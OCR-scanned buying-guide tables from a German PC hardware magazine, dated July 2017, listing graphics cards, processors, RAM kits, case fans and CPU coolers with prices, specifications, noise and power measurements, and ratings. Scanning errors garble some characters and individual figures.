AMD R9 Fury X ** 4.096 MiB | 1.050/1.000 MHz 21/346/385 Wa 19,5/3,3 cm | 2x 8-Po| 1,3/1,6/1,6 Sone 2,46 09/2015 | www.pcgh.de/preis/1285788 
Sapphire RX 580 Nitro+ Limited Ed. | - 8.192 MiB | 1.380+/4.000 MHz | 16/215/233 Wa 26,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,5/1,7 Sone 255) 07/2017 | www.pcgh.de/preis/1610153 
Powercolor RX 580 Red Devil GS - 8.192 MiB 1.420+/4.000 MHz | 13/240/246 Wa 24,1/5,1 cm x 8-/1x 6-Pol | 0,0/1,9/2,5 Sone 2.55 07/2017 | www.pcgh.de/preis/1609947 
Asus R9 Fury Strix 4.096 MiB | 970+/1.000 MHz 12/267/274 Wa 30,0/3,5 cm | 2x 8-Po 0,0/2,6/3,1 Sone 2,56 09/2015 | www.pcgh.de/preis/1296495 
Gigabyte RX 580 Aorus XTR 8G - 8.192 MiB | 1.410+/4.000 MHz | 18/268/269 Wa 27,6/5,4 cm x 8-/1x 6-Pol | 0,0/2,1/2,1 Sone 2:57, 07/2017 | www.pcgh.de/preis/1610162 
MSI RX 580 Gaming X 8G €420,- |8.192 MiB | 1.320+/4.000 MHz | 16/205/210 Wa 27,5/3,5 cm x 8-Po 0,0/2,0/2,3 Sone 2,58 07/2017 | www.pcgh.de/preis/1609960 
Asus RX 580 Strix TOP (T8G) €460,- | 8.192 MiB | 1.405+/4.000 MHz | 14/222/226 Wa 30,0/4,5 cm x 8-Po 0,0/3,5/3,5 Sone 2:59 07/2017 | www.pcgh.de/preis/1610032 
MSI RX 480 Gaming X 8G - 8.192 MiB | 1.303/4.000 MHz 18/209/225 Wa 27,5/3,5 cm x 8-Po 0,0/2,2/2,4 Sone 2,60 10/2016 | www.pcgh.de/preis/1473074 
Asus R9 Nano White 4.096 MiB | 850+/1.000 MHz 14/198/205 Wa 15,3/3,5 cm x 8-Po 0,8/2,9/2,9 Sone 2,60 06/2016 | www.pcgh.de/preis/1355032 
Sapphire RX 480 Nitro-- OC 8GB - 8.192 MiB | 1.300+/4.000 MHz | 14/215/230 Wa 24,0/3,5 cm x 8-Po 0,0/5,4/6,6 Sone 2,60 10/2016 | www.pcgh.de/preis/1477778 
Sapphire RX 570 Nitro+ 8GD5 €350,- | 8.192 MiB | 1.3204/3.500 MHz | 15/202/221 Wa 26,0/3,8 cm x 8-/1x 6-Pol | 0,0/1,0/1,7 Sone 2,62 07/2017 | www.pcgh.de/preis/1610158 
Powercolor RX 480 Red Devil - 8.192 MiB 1.190+/4.000 MHz | 18/199/200 Wa 30,0/3,5 cm x 8-Pol 0,0/2,3/2,3 Sone 2,64 10/2016 | www.pcgh.de/preis/1480295 
Sapphire RX 480 Nitro-- 4D5 OC €490,- | 4.096 MiB | 1.306/3.500 MHz 14/207/220 Wa 24,0/3,5 cm x 8-Po 0,0/4,2/5,0 Sone 2,70 10/2016 | www.pcgh.de/preis/1477762 
Sapphire RX 470 Nitro-- 4D5 OC 4.096 MiB | 1.2204/3.500 MHz | 15/195/209 Wa 24,0/3,5 cm x 8-Po 0,0/2,5/2,7 Sone 2,72 01/2017 | www.pcgh.de/preis/1483308 
Asus RX 580 Dual 046 €350,- | 4.096 MiB | 1.260+/3.500 MHz | 14/181/185 Wa 24,1/3,5 cm x 8-Po 0,0/4,1/4,1 Sone 2,74 07/2017 | www.pcgh.de/preis/1610054 
Powercolor RX 570 Red Devil €300,- | 4.096 MiB | 1.320/3.500 MHz 13/225/260 Wa 30,0/3,5 cm x 8-Po 0,0/2,7/5,2 Sone 2,77 07/2017 | www.pcgh.de/preis/1609990 
Powercolor RX 470 Red Devil 4.096 MiB 1.125+/3.500 MHz | 17/174/182 Wa 24,0/3,5 cm x 8-Ро! 0,0/4,6/4,7 Sone 2,83 01/2017 | www.pcgh.de/preis/1488318 
Sapphire RX 570 Pulse ITX €320,- | 4.096 MiB | 1.130+/3.500 MHz | 13/144/147 Wa 17,0/3,5 cm x 6-Po 0,0/0,9/1,2 Sone 2,83 07/2017 | www.pcgh.de/preis/1610160 
Asus RX 470 Strix OC 4.096 MiB | 1.0504/3.300 MHz | 16/146/151 Wa 24,2/3,5 cm x 6-Po 0,0/3,2/3,6 Sone 2,84 01/2017 | www.pcgh.de/preis/1488369 
Asus RX 460 Strix 04G €155,- | 4.096 MiB | 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm x 6-Po 0,0/1,6/1,6 Sone 3/15 01/2017 | www.pcgh.de/preis/1490013 
* Im Juli war wegen des Minings kaum ein Modell lieferbar, diese daher ohne Preisangabe. ** Beliebige Referenzkarte, bis auf die Beigaben sind alle gleich. Sapphire-Karten: Sofern verfügbar, wurde die Full-Retail-Version getestet. 
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Einkaufsführer Prozessoren & RAM 


Preise: Stand 20.07.2017 


(ОТЕ ER PREIS-LEISTUNGS-TIPP [ERS fT SPAR-TIPP 


Prozessoren (Auswahl aus bereits getesteten Modellen) 


AMD-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max) | Sockel | Wertung | Test in 
AMD Ryzen 7 1800X |Ca.€450,- |77,2 %/75,8 9o | 28/326/264/182 8c/16t |- 3,6 GHz + Turbo | 14 пт | DDR4-2667 | АМА 1,97 | 05/2017 | www.pcgh.de/preis/1582191 
AMD Ryzen 7 1700X | Ca. €350,- | 74,4 %/71,9 % | 28/315/256/169 8c/16t |- 3,4 GHz + Turbo |14пт | DDR4-2667 | AMA 2,05 | 05/2017 | www.pcgh.de/preis/1582190 
AMD Ryzen 7 1700 | Са. €300,- | 71,3 %/66,9 % | 28/296/244/157 8c/16t |- 3,0 GHz + Turbo |14пт | DDR4-2667 | AMA 2,14 | 05/2017 | www.pcgh.de/preis/1582201 
AMD Ryzen 5 1600X | Ca. € 245,- | 75,7 %/62,1 9o | 28/317/261/166 SAAR 3,6 GHz + Turbo | 14 пт | DDR4-2667 | AM4 2,16 | 06/2017 | www.pcgh.de/preis/1604881 
AMD Ryzen 5 1600 | Са. € 205,- | 72,1 %/58,0 % | 30/303/252/149 6c/12t |- 3,2 GHz + Turbo |14пт | DDR4-2667 | AM4 2,47 | 07/2017 | www.pcgh.de/preis/1604879 METTA 
AMD Ryzen 5 1500X | Са. € 180,- | 68,2 %/45,7 9o | 28/275/244/137 4d8t |- 3,5 GHz + Turbo |14пт | DDR4-2667 | AM4 2,26 | 06/2017 | www.pcgh.de/preis/1604878 
AMD Ryzen 5 1400 | Ca. € 160,- | 59,8 %/40,0 % | 29/258/232/126 Aci8t 3,2 GHz + Turbo | 14nm | DDR4-2667 | AM4 2,68 | 07/2017 | www.pcgh.de/preis/1604876 
AMD FX-9590 Ca. € 160,- | 57,1 %/41,3 % | 40/441/383/309 4m/8t 4,7 GHz + Tubo |32nm |DDR3-1866 | AM3+ 3,06 | 03/2016 | www.pcgh.de/preis/973468 
AMD FX-8370 Ca. Є 130,- | 53,1 %/37,7 % | 39/359/318/227 4m/8t 4,0 GHz + Тиро |32nm | DDR3-1866 | AM3+ 3,12 -*** | www.pcgh.de/preis/1155953 
AMD FX-8350 Ca.€115- | 52,6 %/37,5 % | 40/355/312/218 4m/8t 4,0 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,13 | 03/2016 | www.pcgh.de/preis/852989 
AMD FX-8300 Ca. € 95,- 47,7 96/32,5 % | 38/295/270/180 4m/8t |- 3,3 GHz + Turbo | 32nm | DDR3-1866 | AM3+ 3,24 | 03/2017 | www.pcgh.de/preis/1156019 
AMD FX-6300 Ca. € 75,- 44,6 %/27,3 % | 40/287/272/174 3m/6t |- 3,5 GHz + Turbo | 32nm | DDR3-1866 | AM3+ 3,37 idi www.pcgh.de/preis/853168 
AMD Athlon X4 845 | Ca. € 45,- 32,2 %/19,6 % | 22/233/206/119 2mMt |- 3,5 GHz + Turbo | 28 nm | DDR3-2133 | FM2+ 3,69 | 05/2016 | www.pcgh.de/preis/1404132 
Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max) | Sockel | Wertung | Test in PCGH-Preisvergleich 
ntel Core i9-7900X | Са. € 1.000,- | 93,4 %/100 % | 31/396/294/231 10c/20t 3,3 GHz + Turbo | 14nm | DDR4-2667 | 2066 1,47 | 08/2017 | www.pcgh.de/preis/1632795 
ntel Core i7-7820X | Ca. €600,- | 90,7 %/89,6 % | 31/378/292/201 8c/16t 3,6 GHz + Turbo |14пт | DDR4-2667 | 2066 1,62 | 09/2017 www.pcgh.de/preis/1632796 NEU 
ntel Core i7-6950X | Са. € 1.470,- | 96,1 %/89,0 % | 50/370/288/184 10c/20t | - 3,0 GHz + Turbo | 14nm | DDR4-2400 | 2011-3 1,69 | 07/2016 | www.pcgh.de/preis/1394456 
ntel Core i7-7740X | Ca. € 345,- 100 %/59,8 % | 18/315/269/148 4/81 4,3 GHz + Turbo | 14 пт | DDR4-2667 |2066 1,74 | 08/2017 www.pcgh.de/preis/1632798 NEU 
ntel Core i7-7700K | Са. €325,- | 94,3 %/57,9 % | 19/320/275/145 4cd8t | НО 630 4,2 GHz + Turbo | 14nm | DDR4-2400 | 115 1,78 | 02/2017 | www.pcgh.de/preis/1551097 
ntel Core i7-6900K | Ca. €925,- | 93,1 %/80,9 % | 50/349/291/186 8c/16t |- 3,2 GHz + Turbo |14пт | DDR4-2400 | 2011-3 1,86 | 07/2016 | www.pcgh.de/preis/1394462 
ntel Core i7-6700K | Ca. €320,- | 87,8 %/53,8 % | 21/302/256/126 4cd8t | HD 530 4,0 GHz + Turbo | 14nm | DDR4-2133 | 115 1,91 03/2016 | www.pcgh.de/preis/1290371 
ntel Core i7-7800X | Са. Є 375,- | 85,8 %/69,9 % | 31/345/280/177 6/12 3,5 GHz + Turbo | 14 пт | DDR4-2400 |2066 1,92 | 09/2017 www.pcgh.de/preis/1632797 NEU 
ntel Core i7-5775C | Ca. € 400,- 91,9 %/48,8 % | 19/287/252/120 4d8 ris Pro 6200 | 3,3 GHz + Turbo | 14 пт | DDR3(L-1600 | 1150 1,97 | 03/2016 | www.pcgh.de/preis/1275291 
ntel Core i7-5960X | Са. € 1.070,- | 85,1 %/72,4 % | 49/364/286/202 8dl6t |- 3,0 GHz + Turbo |22nm | DDR42133 | 2011-3 2,10 03/2016 | www.pcgh.de/preis/1121089 
ntel Core i7-6800K Са. Є 370,- | 85,9 %/62,7 % | 49/344/282/170 6c/12t |- 3,4 GHz + Turbo |14пт | DDR4-2400 | 2011-3 2,20 | 08/2016 | www.pcgh.de/preis/1394467 
ntel Core i7-4790K | Ca. €350,- | 78,4 %/51,0 % | 18/320/261/134 4d8 HD 4600 4,0 GHz + Turbo |22nm | DDR3-1600 | 1150 2,27 | 03/2016 | www.pcgh.de/preis/1119923 
ntel Core 17-5820К | Ca. €370,- | 82,9 %/58,8 % | 46/340/278/176 6c/12t | - 3,3 GHz + Turbo | 22nm | DDR4-2133 | 2011-3 2,28 | 03/2016 | www.pcgh.de/preis/1121100 
ntel Core i5-7600K Са. Є 215,- | 73,7 %/42,9 % | 19/262/238/112 Act | HD 630 3,8 GHz + Turbo | 14 пт | 0084-2400 | 115 2,29 | 02/2017 | www.pcgh.de/preis/1551201 
ntel Core i5-5675C Са. є 270,- | 75,3 %/37,4 % | 17/245/228/107 40/4] ris Pro 6200 | 3,1 GHz + Turbo | 14 пт | DDR3(L)-1600 | 1150 2,39 -*** | www.pcgh.de/preis/1275321 
ntel Core i5-6600K | Ca. € 230,- | 64,4 %/39,1 % | 22/245/225/109 4d8 HD 530 3,5 GHz + Turbo | 14nm | DDR4-2133 | 115 2,52 | 03/2016 | www.pcgh.de/preis/1290376 
ntel Core 15-7500 Ca. € 185,- | 69,3 %/39,0 % | 18/242/224/99 40/4] НО 630 3,4 GHz + Turbo | 14 пт | DDR4-2400 | 1151 2,62 | 04/2017 | www.pcgh.de/preis/1554205 
ntel Core i3-7350K | Ca. € 155,- | 62,9 %/30,5 % | 19/230/218/108 2d4 HD 630 4,2 GHz 14nm |DDR4-2400 | 115 2,65 | 03/2017 | www.pcgh.de/preis/1557508 
ntel Core i5-7400 Са. Є 170,- | 64,9 %/36,2 % | 18/232/216/94 40/4 НО 630 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 115 2,73 | 04/2017 | www.pcgh.de/preis/1553204 ТЛ 
ntel Core 15-6500 Ca.€195- |61,1 %/36,1 % | 19/232/219/103 4d4 HD 530 3,2 GHz + Turbo | 14 пт | DDR4-2133 | 115 2,83 | 03/2016 | www.pcgh.de/preis/1290386 
ntel Core i3-6100 Са. € 105,- | 54,9 %/26,7 % | 21/221/208/94 20/4 НО 530 3,7 GHz 14 пт | DDR4-2133 | 115 3,03 -*** | www.pcgh.de/preis/1329935 
ntel Pentium G4560 | Ca. € 70,- 52,8 %/24,1 % | 19/210/201/99 2d4 HD 610 3,5 GHz 14 пт | DDR4-2400 | 1151 3,24 | 03/2017 www.pcgh.de/preis/1558362 ТҮҢ 
* Normierte, gewichtete Leistung in Spielen/Anwendungen ** Gesamtes System in Watt (Leerlauf ohne Grafikkarte/Crysis 3/9 Spiele/O Anwendungen) *** Nachgetestet ohne Heftartikel 
DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau*** | Hóhe | Spannung | Wertung | Test in PCGH-Preisvergleich 
G.Skill Trident X F3-1600C7D-16GTX Ca. € 120,- | 2 x 8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 ст | 1,65 Vo 2,39 | 06/2015 | www.pcgh.de/preis/855480 Ніїйшвге 
Kingston Нурег X Savage HX321C11SRK2/16 Ca. € 150,- | 2 x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 ст | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Ballistix Tactical BLT2CP8G3D1869DT1TXOEU Ca. € 130,- | 2 x 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 ст | 1,50 Vol 2,52 | 08/2014 | www.pcgh.de/preis/1037301 
G.Skill Trident X F3-2400C10D-16GTX Са. € 120,- | 2 x 8 GiByte DDR3-2400 | 10-12-12-31 | Dual Rank | 5,4 cm | 1,65 Vo 2,54 | 09/2013 | www.pcgh.de/preis/764621 
G.Skill Ares F3-1866C10D-16GAB Ca. € 120,- | 2 x 8 GiByte DDR3-1866 | 10-11-10-30 | Dual Rank | 3,3 cm | 1,50 Vol 2,58 | 06/2015 | www.pcgh.de/preis/734632 
DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau*** | Hóhe | Spannung | Wertung | Test in 
G.Skill Trident Z F4-3600C16D-16GTZKW Ca. € 200,- | 2 x 8 GiByte DDR4-3600 | 16-16-16-36 | Single-Rank | 4,4 cm | 1,35 Vo 1,72 | 07/2017 | www.pcgh.de/preis/1505578 
Teamgroup T-Force Xtreem | TXGD416G4000HC18EDCO1 Са. € 230,- | 2 x 8 GiByte DDRA-4000 | 18-20-20-44 | Single-Rank | 4,8 cm | 1,35 Vol 1,76 | 07/2017 | www.pcgh.de/preis/1593250* 
Patriot Viper PV416G360C6K Са. € 200,- | 2 x 8 GiByte DDR4-3600 | 16-16-16-36 | Single-Rank | 4,1 cm | 1,35 Vol 1,80 | 07/2017 | www.pcgh.de/preis/1539744 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Са. € 400,- |4x 8 GiByte DDRA-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vol 1,89 | 12/2016 | www.pcgh.de/preis/1379074 
G.Skill Flare X F4-3200C14D-16GFX Са. € 180,- | 2 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,0 cm | 1,35 Vo 1,93 07/2017 | www.pcgh.de/preis/1590064 
G.Skill Trident Z F4-3200C14Q-32GTZKW Ca. € 370,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 | 12/2016 | www.pcgh.de/preis/1383384* * 
Corsair Vengeance LED CMU32GX4MAC3200C16R N. verfügbar | 4 х 8 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,10 12/2016 | www.pcgh.de/preis/1468728 
G.Skill Trident Z RGB F4-3200C16Q-32GTZR Ca. € 320,- | 4 x 8 GiByte DDR4-3200 | 16-18-18-38 | Single-Rank | 4,4 cm | 1,35 Vol 2,14 | 07/2017 | www.pcgh.de/preis/1564347 
Ballistix Elite BLE4CAG4D32AEEA Са. € 180,- | 4 x 4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 2,23 | 12/2016 | www.pcgh.de/preis/1464325 
Ballistix Tactical BLT2C8G4D30AETA Са. € 150,- | 2 x 8 GiByte DDR4-3000 | 15-16-16-35 | Dual-Rank | 3,8 cm | 1,35 Vo 2,29 | 07/2017 | www.pcgh.de/preis/1464309 
Corsair Vengeance LED CMU32GX4M2C3200C16B Са. € 340,- | 2 x 16 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,33 12/2016 | www.pcgh.de/preis/1512560 
System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Bit SP1, HCI Memtest Pro *** Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 
System DDR4: Core i5-6600K/i7-6700K, Asus Maximus VIII Extreme/Ranger bzw. Maximus IX Code, MSI Geforce GTX 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro * Silberne Version ** Silber-rote Version 
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Einkaufsführer | SERVICE 


Einkaufsführer Kühlung 


Preise: Stand 20.07.2017 


(CETTE TT PREIS-LEISTUNGS-TIPP. 


[EL PISPAR-TIPP 


120-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* svergleich 
Noctua NF-F12 PWM Ca. € 19,- | 4-Pin PWM/53 cm Spannungs-Adapter | 1.500 U/min 0,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 
Blacknoise Eloop B12-PS Ca. € 19,- | 4-Pin PWM/75 cm - .500 U/min 0,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 
UE Scythe Glide Stream 120 PWM Ca. € 10,- | 4-Pin PWM/50 cm _ .300 U/min 0,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 
Be Quiet Silent Wings 3 PWM Ca. € 18,- | 4-Pin PWM**/50 cm _ .450 U/min 1,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/1490397 
Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm _ .250 U/min 2,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone 2,62 12/2016 | www.pcgh.de/preis/342339 
IT Arctic F12 PWM Ca.€5,- | 4-Рїп PWM**/39 cm - .350 U/min 0,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone 2,63 12/2016 | www.pcgh.de/preis/458676 
Blacknoise Black Silent Pro PL-2 Ca. € 12,- | 3-Pin/75 cm - .400 U/min 2,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone 2,65 12/2016 | www.pcgh.de/preis/476778 
Be Quiet Silent Wings 2 PWM Ca. € 27,- | 4-Pin PWM/44 cm - .500 U/min 2,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone 2,65 12/2016 | www.pcgh.de/preis/877395 
Be Quiet Shadow Wings SW1 Ca. € 12,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone 2,76 12/2016 | www.pcgh.de/preis/684033 
Cooler Master Silencio FP 120 PWM | Ca. € 10,- | 4-Pin PWM/44 cm - .400 U/min 3,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone 2,78 12/2016 | www.pcgh.de/preis/1227673 
Fractal Design Dynamic X2 GP-12 Ca. € 14,- | 3-Pin/51 cm - .200 U/min 2,2/15,8/21,3 Kelvin | 0,8/0,2/0,1 Sone 2,81 12/2016 | www.pcgh.de/preis/1497617 
140-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Wertung PCGH-Preisvergleich 
Blacknoise Eloop B14-PS Ca. € 25,- | 4-Pin PWM/75 cm _ .200 U/min 8,8/11,0/15,2 Kelvin | 1,2/0,3/0,1 Sone 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 25,- | 4-Pin PWM/45 cm 2-stufig .400 U/min 9,1/11,3/16,9 Kelvin | 1,6/0,7/0,1 Sone 2,27 01/2016 | www.pcgh.de/preis/1348647 
Noctua NF-A14 FLX Ca. € 20,- | 3-Pin/53 cm 2 Spannungs-Adapt. | 1.200 U/min 9,5/12,0/16,9 Kelvin | 1,2/0,4/0,1 Sone 227 01/2016 | www.pcgh.de/preis/870798 
Aerocool Dead Sil. White Ed. 140mm | Ca. € 19,- | 3-Pin/50 cm Spannungs-Adapter | 1.000 U/min 0,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone 2,33 01/2016 | www.pcgh.de/preis/1058907 
Blacknoise Black Silent Pro PK-2 Ca. € 16,- | 3-Pin/75 cm _ .200 U/min 0,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone 2,39 01/2016 | www.pcgh.de/preis/476867 
Fractal Design Venturi HP-14 PWM Ca. € 18,- | 4-Pin PWM/50 cm - .500 U/min 9,6/11,7/18,2 Kelvin | 1,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 
ТШТУ Enermax T.B.Silence PWM 140mm Ca. € 11,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin | 1,7/0,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 
Silverstone SST-FQ141 Ca. € 20,- | 4-Pin PWM/29 cm Spannungs-Adapter | 1.000 U/min 0,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/1170330 
Be Quiet Silent Wings 2 PWM Ca. € 23,- | 4-Pin PWM/45 cm _ .000 U/min 1,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone 2,44 01/2016 | www.pcgh.de/preis/877396 
Phanteks PH-F140SP Ca. € 15,- | 3-Pin/92 cm _ 1.200 U/min 8,9/11,5/16,2 Kelvin | 1,7/0,5/0,1 Sone | 2,45 01/2016 | www.pcgh.de/preis/1112616 
I TE Nanoxia Cool Force Са. Є 7,- | 3-Pin/43 cm Vorwiderstand .100 U/min 2,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone 2,47 01/2016 | www.pcgh.de/preis/1395404 
Enermax Cluster Advance Ca. € 13,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 Sone 2,65 01/2016 | www.pcgh.de/preis/1186749 
Akasa 14cm Apache Black Ca. € 17,- | 4-Pin PWM/40 cm - .300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 Sone 2572 01/2016 | www.pcgh.de/preis/681031 
Noctua NF-A14 Industr.-PPC-2000 PWM | Ca. € 27,- | 4-Pin PWM/40 cm - 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/05 Sone | 2,75 01/2016 | www.pcgh.de/preis/1115473 
Be quiet Pure Wings 2 140mm Ca.€9,- | 3-Pin/45 cm _ .000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone 2,88 01/2016 | www.pcgh.de/preis/994425 
180-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Wertung PCGH-Preisvergleich 
Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,3/9,0/12,6 Kelvin 0,6/0,2/0,1 Sone 1,72. 04/2015 | www.pcgh.de/preis/955636 


* Auf Alphacool Nexxxos XT45 120/140/180 mm 


adiator, Differenztemperatur Wasser/Luft; Wärmequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl; ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Störgeräusche 


Prozessorkühler 


Modell Preis Maße (B x H x T) Gewicht CPU-Temp. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 %) WI PCGH-Preisvergleich 
Noctua NH-D15 Са. Є 90,- |151x175x162mm;1312g | 50,8 °С (1.020 U/min) 48,1/49,9/54,5 *C 3,0/1,2/0,2 Sone 2,08 | 09/2015 | www.pcgh.de/preis/1098241 
Thermaltake Frio Extreme Silent 14 Dual | Са. Є 80,- | 157 x 166 х 146 mm; 1235 g 50,3 *C (1.000 U/min) 49,6/52,1/61,2 °C ,6/0,6/0,1 Sone 2,11 09/2015 | www.pcgh.de/preis/1196525 
Scythe Mugen 5 Са. € 42,- 38 x 150 x 109 mm; 885 g Nicht mögl. (max. 0,9 бопе) | 52,1/53,6/59,4 °C 0,9/0,3/0,1 Sone 2,14 01/2017 | www.pcgh.de/preis/1549393 
Scythe Fuma Са. € 43,- 38 x 149 x 131 mm; 923 g 52,0 °С (900 U/min) 48,5/50,8/56,2 °С 2,9/1,3/0,4 Sone 2,16 | 05/2016 | www.pcgh.de/preis/1339886 
Noctua NH-U14S Ca. € 70,- 52 x 166 x 80 mm; 938 g 51,4 *C (1.140 U/min) 49,7/52,1/58,7 *C ,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 
ture 2 EKL Alpenfóhn Olymp Са. Є 55,- |155x161x 151 mm; 1.187 g | 52,8 °С (1.020 U/min) 50,8/53,5/61,5 *C 2,0/0,9/0,1 Sone 2,18 | 05/2016 | www.pcgh.de/preis/1386052 
Thermalright Le Grand Macho RT n. verfüg. 50 x 162 x 148 mm; 1.111 g | Nicht mögl. (max. 0,9 Sone) | 50,1/52,8/59,1 °C 0,9/0,3/0,1 Sone 2,23 01/2017 | www.pcgh.de/preis/1442034 
Thermalright Macho Rev. B Са. € 48,- 42 x 173 x 129 mm; 877 g 52,2 *C (1.190 U/min) 51,2/54,7/62,9 °C ,2/0,5/0,2 Sone 2,25 02/2015 | www.pcgh.de/preis/1193857 
Scythe Ninja 4 Ca. € 37,- 32 x 155 x 155 mm; 905 g 52,4 °C (1.170 U/min) 50,6/53,2/60,3 °C 2,1/0,7/0,2 Sone 2,25 | 09/2015 | www.pcgh.de/preis/1267181 
Thermalright Macho Direct Ca.€43- | 152 х 162 x 128 mm; 823 g 52,1 °C (1.190 U/min) 52,1/54,8/61,3 °C ,0/0,3/0,1 Sone** 2,26 04/2016 | www.pcgh.de/preis/1372274 
Be Quiet Dark Rock Pro 3 Ca.€75- | 141 x 164 х 150 mm; 12449 ! 51,6°C (1.340 U/min) 50,3/52,1/55,6 °C 2,1/0,9/0,3 Sone 2,32 | 09/2015 | www.pcgh.de/preis/1054341 
Thermalright True Spirit 140 Direct Са. € 43,- 52 х 165 x 71 mm; 658 g Nicht mögl. (max. 0,8 Sone) | 50,8/54,2/60,7 °C 0,8/0,2/0,1 Sone 2,33 01/2017 | www.pcgh.de/preis/1529573 
EKL Alpenföhn Brocken 2 Са. € 38,- 53 x 173 x 98 mm; 840 g Nicht mögl. (max. 0,8 Sone) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 
Thermaltake Frio Silent 14 Са. € 40,- 50 x 165 x 68 mm; 633 g 54 °С (1.060 U/min) 52,2/55,4/63,9 °C ,2/0,3/0,1 Sone 2,48 12/2014 | www.pcgh.de/preis/1157899 
Cooler Master Hyper 612 Ver.2 Ca.€37- | 151 x 162 x 131 mm; 945g Nicht mögl. (max. 0,9 Sone) | 54,9/58,2/-* °C 0,9/0,3/-* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 
UD EKL Alpenföhn Brocken Eco Са. € 31,- 31 x 151 x 88 mm; 612 g 55,9 °C (1.240 U/min) 53,7/57,4/64,2 °C ,4/0,5/0,1 Sone 2.55 12/2014 | www.pcgh.de/preis/1081623 
Noctua NH-D15S Ca. € 80,- 49 x 163 х 134 mm; 1.153 9 | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,57 | 05/2016 | www.pcgh.de/preis/1271076 
Be Quiet Pure Rock Са. € 30,- 30 x 155 x 89 mm; 629 g 56,2 °C (1.370 U/min) 55,5/58,1/68,0 °C ‚5/0,5/0,1 Sone 2,62 01/2017 | www.pcgh.de/preis/1184606 
Cooler Master Hyper 4125 Ca.€37,- | 132 х 162 x 97 mm; 580g Nicht mögl. (max. 0,8 Sone) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 
Enermax ETS-50 Axe Са. Є 37,- | 139 х 161 x 112 mm; 910g 55,3 °C (1.190 U/min) 49,5/52,4/62,3 °C 3,3/1,3/0,4 Sone 2,67 | 01/2017 | www.pcgh.de/preis/1491128 
Thermaltake Frio Silent 12 Ca.€39- | 128 х 141 х 67 mm; 328g 54,7 °С (1.310 U/min) 53,8/58,6/70,4 °C ,1/0,4/0,1 Sone 2,68 01/2017 | www.pcgh.de/preis/1158734 
